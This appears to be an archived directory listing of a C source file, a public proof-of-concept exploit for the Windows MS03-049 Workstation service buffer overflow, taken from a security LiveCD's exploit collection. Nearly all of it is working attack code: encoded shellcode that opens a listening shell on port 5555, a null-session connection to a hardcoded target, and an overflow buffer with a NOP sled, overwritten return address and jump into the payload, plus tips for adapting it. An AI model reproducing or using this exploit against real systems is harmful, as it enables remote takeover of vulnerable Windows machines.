home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / MS03-049ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  102 lines

  1. /*
  2.     Proof of concept for MS03-049.
  3.     This code was tested on a Win2K SP4 with FAT32 file system, and is supposed
  4.     to work *only* with that (it will probably crash the the other 2Ks, no clue
  5.     about XPs).
  6.  
  7.     To be compiled with lcc-win32 (*hint* link mpr.lib) ... I will not improve
  8.     this public version, do not bother to ask.
  9.  
  10.     Credits go to eEye :)
  11.     See original bulletin for more information, it is very well documented.
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <win.h>
  16. #include <string.h>
  17.  
  18. typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);
  19.  
  20. #define SIZE 2048
  21.  
  22. // PEX generated port binding shellcode (5555)
  23. unsigned char shellcode[] =
  24. "\x66\x81\xec\x04\x07" // sub sp, 704h
  25. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31"
  26. "\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x76\xac\x7c\x25\x81\xee\xfc"
  27. "\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x9e\x94\x7c\x25"
  28. "\x76\xef\x31\x61\x76\x4b\x05\xe3\x0f\x49\x35\xa3\x3f\x08\xd1\x0b"
  29. "\x9f\x08\x66\x55\xb1\x75\x75\xd0\xdb\x67\x91\xd9\x4d\x22\x32\x2b"
  30. "\x9a\xd2\xa4\xc7\x05\x01\xa5\x20\xb8\xde\x82\x96\x60\xfb\x2f\x17"
  31. "\x29\x9f\x4e\x0b\x32\xe0\x30\x25\x77\xf7\x28\xac\x93\x25\x21\x25"
  32. "\x1c\x9c\x25\x41\xfd\xad\xf7\x65\x7a\x27\x0c\x39\xdb\x27\x24\x2d"
  33. "\x9d\xa0\xf1\x72\x5a\xfd\x2e\xda\xa6\x25\xbf\x7c\x9d\xbc\x16\x2d"
  34. "\x28\xad\x92\x4f\x7c\xf5\xf7\x58\x76\x2c\x85\x23\x02\x48\x2d\x76"
  35. "\x89\x98\xf3\xcd\xe6\xac\x7c\x25\x2f\x25\x78\xab\x94\x47\x4d\xda"
  36. "\x10\x2d\x90\xb5\x77\xf8\x14\x24\x77\xac\x7c\xda\x23\x8c\x2b\x72"
  37. "\x21\xfb\x3b\x72\x31\xfb\x83\x70\x6a\x25\xbf\x14\x89\xfb\x2b\x4d"
  38. "\x74\xac\x69\x96\xff\x4a\x16\x35\x20\xff\x83\x70\x6e\xfb\x2f\xda"
  39. "\x23\xb8\x2b\x73\x25\x53\x29\x35\xff\x6e\x1a\xa4\x9a\xf8\x7c\xa8"
  40. "\x4a\x88\x4d\xe5\x1c\xb9\x25\xd6\xdd\x25\xab\xe3\x32\x88\x6c\x61"
  41. "\x88\xe8\x58\x18\xff\xd0\x58\x6d\xff\xd0\x58\x69\xff\xd0\x58\x75"
  42. "\xfb\xe8\x58\x35\x22\xfc\x2d\x74\x27\xed\x2d\x6c\x27\xfd\x83\x50"
  43. "\x76\xfd\x83\x70\x46\x25\x9d\x4d\x89\x53\x83\xda\x89\x9d\x83\x70"
  44. "\x5a\xfb\x83\x70\x7a\x53\x29\x0d\x25\xf9\x2a\x72\xfd\xc0\x58\x3d"
  45. "\xfd\xe9\x40\xae\x22\xa9\x04\x24\x9c\x27\x36\x3d\xfd\xf6\x5c\x24"
  46. "\x9d\x4f\x4e\x6c\xfd\x98\xf7\x24\x98\x9d\x83\xd9\x47\x6c\xd0\x1d"
  47. "\x96\xd8\x7b\xe4\xb9\xa1\x7d\xe2\x9d\x5e\x47\x59\x52\xb8\x09\xc4"
  48. "\xfd\xf6\x58\x24\x9d\xca\xf7\x29\x3d\x27\x26\x39\x77\x47\xf7\x21"
  49. "\xfd\xad\x94\xce\x74\x9d\xbc\xac\x9c\xf3\x22\x78\x2d\x6e\x74\x25";
  50.  
  51. unsigned char jmp[] =
  52. "\xe9\x6f\xfd\xff\xff"; // jmp -290h to land in the payload
  53.  
  54. int main(void)
  55. {
  56.     int ret;
  57.     HINSTANCE hInstance;
  58.     MYPROC procAddress;
  59.     char szBuffer[SIZE];
  60.     NETRESOURCE netResource;
  61.  
  62.     netResource.lpLocalName = NULL;
  63.     netResource.lpProvider = NULL;
  64.     netResource.dwType = RESOURCETYPE_ANY;
  65.     netResource.lpRemoteName = "\\\\192.168.175.3\\ipc$";
  66.  
  67.     ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
  68.     if (ret != 0)
  69.     {
  70.         fprintf(stderr, "[-] WNetAddConnection2 failed\n");
  71.         return 1;
  72.     }
  73.  
  74.     hInstance = LoadLibrary("netapi32");
  75.     if (hInstance == NULL)
  76.     {
  77.         fprintf(stderr, "[-] LoadLibrary failed\n");
  78.         return 1;
  79.     }
  80.  
  81.     procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); // up to you to check NetAddAlternateComputerName
  82.     if (procAddress == NULL)
  83.     {
  84.         fprintf(stderr, "[-] GetProcAddress failed\n");
  85.         return 1;
  86.     }
  87.  
  88.     memset(szBuffer, 0x90, sizeof(szBuffer));
  89.     memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) - 1);
  90.     // ebp @ &szBuffer[2013]
  91.     *(unsigned int *)(&szBuffer[2017]) = 0x74fdee63; // eip (jmp esp @ msafd.dll, use opcode search engine for more, but
  92.                                                      // be aware that a call esp will change the offset in the stack)
  93.     memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
  94.     ret = (procAddress)(L"\\\\192.168.175.3", szBuffer, NULL, NULL, 0);
  95.  
  96.     WNetCancelConnection2("\\\\192.168.175.3\\ipc$", 0, TRUE);
  97.     FreeLibrary(hInstance);
  98.  
  99.     return 0;
  100. }
  101.  
  102.